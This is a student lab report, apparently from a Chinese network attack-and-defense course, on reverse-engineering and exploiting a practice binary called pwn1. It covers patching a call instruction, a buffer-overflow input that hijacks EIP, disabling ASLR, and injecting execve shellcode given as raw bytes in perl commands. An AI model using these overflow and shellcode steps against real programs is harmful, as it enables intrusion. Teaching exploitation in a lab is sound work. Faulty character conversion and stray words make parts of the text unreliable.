20175105王鑫浩 2019-2020-3 《網絡對抗技術》Exp1 PC平臺逆向破解

20175105王鑫浩 2019-2020-3 《網絡對抗技術》Exp1 PC平臺逆向破解shell

任務一 手動修改機器指令,改變程序執行流程

  1. 經過共享文件夾將pwn1導入Kali虛擬機(導入三份,分別用於三個任務)
  2. 打開kali虛擬機終端,經過mkdir -p命令新建多級目錄,經過cp命令將共享文件夾的pwn1複製到新建目錄裏
  1. 經過objdump -d pwn1 | more命令對pwn1反彙編
  2. 彙編指令出來後,回車查看更多,翻到getshellfoomain函數查看其地址,main函數call的地址是8048491foo函數的首地址,getshell的首地址是804847dcall的機器指令爲e8 7dffffffe8call的機器指令,7dffffff0xffffff7d是關於eip寄存器地址的偏移地址即等於eip寄存器指令存放下條指令地址0x80484ba-目的地址0x8048491
  1. 現任務是將call的地址改成getshell的首地址804847d,因此應該將機器指令e8 7dffffff的地址部分換成0x80484ba-0x804847d=0xffffffc3c3ffffff,經過vi pwn1命令對pwn1文件進行編輯,能夠看到文件內容是16進制,能夠經過:%!xxd將文件內容轉換成能夠讀懂的ASCII碼
  1. 轉換成ASCII碼以後,經過輸入/e8 7d能夠查找main函數call指令的機器代碼
  1. 將光標定位在7上按r輸入c,光標定位在d上按r輸入3,而後輸入%!xxd -r將ASCII代碼轉換爲16進制
  2. 輸入:wq保存退出
  3. 此時再反彙編查看main函數中call的函數已經變爲getshell
  1. 運行pwn1,主函數會調用getshell函數

任務二 經過構造輸入值,形成BOF攻擊,從而改變程序執行順序

  1. 對備份的pwn1進行反彙編
  2. 能夠看到,·main·函數爲foo函數輸入的預留空間爲0x1c,即28字節,加上ebp寄存器的4字節,因此eip寄存器的值應爲33-36字節的值
  1. 使用gdb pwn2命令調試程序,輸入r運行,輸入40個字符會發生緩衝區溢出,顯示Segmentation Fault。其中的33-36個字符‘1234’會覆蓋eip寄存器的值,用info r查看寄存器的值,eip寄存器0x34333231,若將eip寄存器的值構造爲0804847d就能夠在foo函數執行完回到main函數時進入到getshell函數
  1. 沒法從鍵盤輸入16進制的值,因此用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令構造出16進制地址並將輸入內容放進input文件裏。地址應倒過來寫,\0a是換行。
  2. 經過(cat input; cat ) | ./pwn2pwn2並將input裏邊的內容輸入到pwn2運行的程序中,就能夠跳到getshell函數中

任務三 注入shellcode並執行

  1. 下載execstack
  1. 運行下列指令
```execstack -s pwn3``` 設置堆棧可執行

```execstack -q pwn3``` 查詢文件的堆棧是否可執行,結果爲X表示可執行

```more /proc/sys/kernel/randomize_va_space``` 查看隨機化是否關閉

```echo "0" > /proc/sys/kernel/randomize_va_space``` 關閉隨機化

```more /proc/sys/kernel/randomize_va_space``` 再次查看,結果爲0證實已關閉

  1. 經過perl -e 'print "A" x 32;print"\xd0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode構造老師給的shellcode,並將shellcode保存到input_shellcode
  2. 輸入(cat input_shellcode;cat) | ./pwn3運行pwn3
  1. 再打開一個終端,在第二個終端中輸入ps -ef | grep pwn3查看pwn3的進程號爲3096
  2. 接下來經過gdb命令開始調試,輸入attach 3096鏈接到pwn3進程,鏈接後輸入disassemble foofoo函數進行反彙編查看foo函數return指令的地址爲0x080484ae,而後輸入break *0x080484ae在此處設置斷點
  1. 在終端a中回車,程序會執行到斷點處,在b終端輸入c在斷點處繼續運行,此時輸入info r esp查看esp寄存器的值爲0xffffd21c 輸入x/16x 0xffffd21c以16進制形式查看0xffffd33c地址後面16字節的內容是在最開始構造的input_shellcode裏的內容,因此將shellcode注入地址爲0xffffd33c+0x00000004=0xffffd340
  2. 經過perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode從新構造改完注入地址的input_shellcode,並輸入(cat input_shellcode;cat) | ./pwn3運行pwn3,能夠跳到構造的shellcode程序中

問題回答及實驗心得

1. 掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼

NOP彙編指令的機器碼是"90"
JNE彙編指令的機器碼是"75"
JE 彙編指令的機器碼是"74"
JMP彙編指令的機器碼是"eb"
CMP彙編指令的機器碼是"39"sass

2. 「什麼是漏洞,漏洞的危害?」

答:我認爲漏洞是在系統中沒法避免的缺陷。漏洞的存在可能會對系統的保密性、可用性等安全屬性形成危害。安全

3. 實驗心得:實驗過程當中,出現了虛擬機中無gdb指令存在的狀況,且沒法安裝gdb,後來通過改寫調用絕對地址而解決問題,使我進一步瞭解了Kali的工做原理。本次實驗內容是我初步認識到經過反彙編能夠改寫程序調用的方法,對網絡攻防第一次有了直接認識。

相關文章
相關標籤/搜索